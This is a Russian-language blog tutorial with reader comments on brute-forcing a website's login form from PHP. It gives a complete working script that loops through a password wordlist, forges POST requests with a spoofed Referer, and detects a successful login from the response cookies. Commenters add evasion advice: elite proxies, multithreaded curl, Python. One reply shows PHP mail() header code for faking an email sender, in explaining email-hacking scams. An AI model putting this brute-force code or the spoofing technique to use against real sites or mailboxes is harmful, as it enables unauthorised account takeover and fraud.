В этой статье я расскажу как отправлять данные из php скрипта методом POST (как это делает обычная html форма) а так же как использовать подделанные запросы для брутфорса. Взламывать будем пароль пользователя через форму логина. Брутфорс (от англ. «brutal» — грубый и «force» — сила) подразумевает подбор пароля тупым перебором возможных вариантов пароля. Для этого существуют специальные словари на несколько тысяч слов. Обычно это текстовый файл, где каждое слово записано с новой строки.
// читаем словарь и заносим всё его содержимое в массив $file $file = file($_SERVER['DOCUMENT_ROOT'].'/brut.txt'); foreach ($file as $password) { // проверяем каждый пароль ($password) // совпадает ли он с истинным паролем пользователя }
Внутри цикла открываем соединение с сервером.
$fp = fsockopen('www.site.ru', 80, $errno, $errstr, 30);
В качестве параметров этой функции указываем хост для соединения (www.site.ru).
Затем порт (80), как правило другой номер порта используется редко.
$errno и $errstr получают установки, указывающие фактический уровень системной ошибки, в случае ошибки соединения, особой необходимости в них нет.
И последняя цифра (30) - это таймаут соединения, то есть сколько секунд будет ждать скрипт установки соединения. Если в течение 30 секунд не удалось установить соединение, то выдается ошибка о неудачном соединении.
Нужно изучить html-код формы и сформировать переменные и их значения, которые будем отправлять. Для этого составляем обычную строку, в которой прописываем переменные по тому же принципу, что и при передаче переменных в ссылке. Например:
$data = 'do=login&username=ekimoff@mail.ru&password=fuckoff'
В данном примере используются 3 переменные
1. do = login
2. username = ekimoff@mail.ru
3. password = fuckoff
Можете продолжать список переменных, разделяя их символом амперсанда "&".
Затем формируем HTTP-заголовки (тип запроса, данные о браузере, реферер).
$headers = "POST /login.php HTTP/1.1\r\n"; // POST-запрос для login.php $headers .= "Host: www.site.ru\r\n"; $headers .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1\r\n"; $headers .= "Referer: http:// www.site.ru\r\n"; // подделка Referer $headers .= "Content-Type: application/x-www-form-urlencoded\r\n"; $headers .= "Content-Length: ".strlen($data)."\n\n"; $headers .= $data."\n\n";
Отдельное внимание стоит уделить подделке реферера. Реферер показывает с какого адреса пришел запрос. Логично, что запрос должен придти с того же сайта, откуда мы отправляем данные формы. Однако реферер отсылает браузер пользователя и поэтому проверка на стороне сервера может лишь отсеять небольшую часть хакеров. Подделать реферер довольно просто: "Referer: http://www.site.ru\r\n".
В полученном ответе сервера содержатся заголовки и html-код документа
// получаем ответ $line = ''; while (!feof($fp)) { $line .= fgets($fp, 1024); } echo $line; // ответ сервера
тут может быть 2 основных варианта:
1) авторизация прошла успешно
2) ошибка авторизации
Увидеть это можно в ответе сервера (echo $line). Т.е мы должны отправить серверу 2 запроса: с верными и неверными данными. Проанализировав оба ответа можно узнать как должен выглядеть ответ сервера при верном пароле. Например, в полученном ответе сервера переменная cookie password не должна быть равна «deleted». Как только это условие выполняется, значит, пароль подобран, и мы можем смело завершать цикл.
if (!strstr($line,'password=deleted')) { echo 'password: '.$password; break; }
Полный код
<?php $file = file($_SERVER['DOCUMENT_ROOT'].'/brut.txt'); foreach ($file as $password) { // открываем сокет на хост www.site.ru $fp = fsockopen('www.site.ru', 80, $errno, $errstr, 3000); // Проверяем успешность установки соединения if (!$fp) { echo $errstr.$errno; // вывод ошибки } else { // переменные $data = 'do=login&Submit=submit&username=ekimoff_sd@mail.ru&password='.$password; // заголовки $headers = "POST /login.php HTTP/1.1\r\n"; // POST-запрос для login.php $headers .= "Host: www.site.ru\r\n"; $headers .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1\r\n"; $headers .= "Referer: http://www.site.ru\r\n"; // подделка Referer $headers .= "Content-Type: application/x-www-form-urlencoded\r\n"; $headers .= "Content-Length: ".strlen($data)."\n\n"; $headers .= $data."\n\n"; // отправляем HTTP-запрос серверу fwrite($fp, $headers); // получаем ответ $line = ''; while (!feof($fp)) { $line .= fgets($fp, 1024); } unset($headers); fclose($fp); if (!strstr($line,'password=deleted')) { echo 'password: '.$password; break; } } } ?>
Скорость брутфорса не велика и успех зависит от сложности пароля и используемого словаря.
Ну, если ответ сервера не считывать полностью, т.е. while (!feof($fp)){ и т.д., т.е. если подтверждение удачного логина находится не в самом конце http пакета, то можно скорость увеличить значительно за счет снижения трафика))
Кисловато.
Любой мало-мальски толковый хостинг тебя в момент забанит, не говоря уже защите в скрипте.
Правильный брутфорс - только через elite+ прокси.
Для увеличения скорости сканирования лучше пользоваться curl в многопоточном режиме.
Для брутфорса использование PHP далеко не лучшая идея
Raz0r, посоветуете что получше?
Python
Была не была, попробуем...
скажите пожалуйста,всюду предлогают взлом почты за деньги..и не очень маленькие...а есть где-нибудь или кто-нибудь кто сделает это без денег?(просто мне очень нужно,а за деньги я уже заказывала,но деньги отправила ,а в ответ тишина)спасибо и извините
Взлом почты за деньги в 90% случаев - лохотрон. Как это работает. Мошенники якобы взламывают почту, отправляют тебе письмо с этого ящика, ты платишь деньги, мошенники исчезают.
Как они отправляют письмо с ящика? Это легко подделать. В PHP это делается так:
Функция mail(to,subject,message,headers) имеет четвертый параметр "заголовки письма"
если прописать
$headers ="Content-type: text/html; charset=utf-8 \r\n";
$headers.="From: ".$mail." < ".$mail.">\r\n";
$headers.="Subject: $subject \r\n";
то в обычном почтовом клиенте письмо действительно придет как бы с ящика $mail.
При этом вряд ли кто обратится в милицию, раз он сам хотел совершить преступление (взлом почты).
Напомнило момент из фильма "Карты ,деньги и два ствола" про резиновые члены для гомосексуалистов:
- Ну дадим рекламу в интернет, что наши члены самые длинные и первоклассные. После получения денег высылаем письмо, "Извините наша фирма закрыта, свои деньги вы можете получить в банке по чеку. И подумай, кто потом захочет, чтоб из-за 25$ узнали, что он любитель пощекотаь свою задницу.
Отличный сайт, Я хоть и чайник но узнал много интересного и рад что пришел.
отличная тема, есть что почерпнуть.
О всемогущий !!!! спасибо за статю ! я все понял!
,,прям все дословно написанно - как на лодони,,
Скажите а при помощи только javascript можно подделать реферер?
нет.
здрасте, скажите, были ли удачные попытки взлома страниц с помощью этого брута? просто могут быть сложности я аякс, колличеством не правильных попыток, с баном по айпи на уровне айпи таблес, с капчей....
зависит от сайта. крупные сервисы так брутить не получится - у них защита сработает.
я в логах у себя постоянно наблюдаю брут сайтов на Wordpress (через страницу /wp-login.php). видимо есть успех на каких-то сайтах. у многих ведь пароли из серии 12345.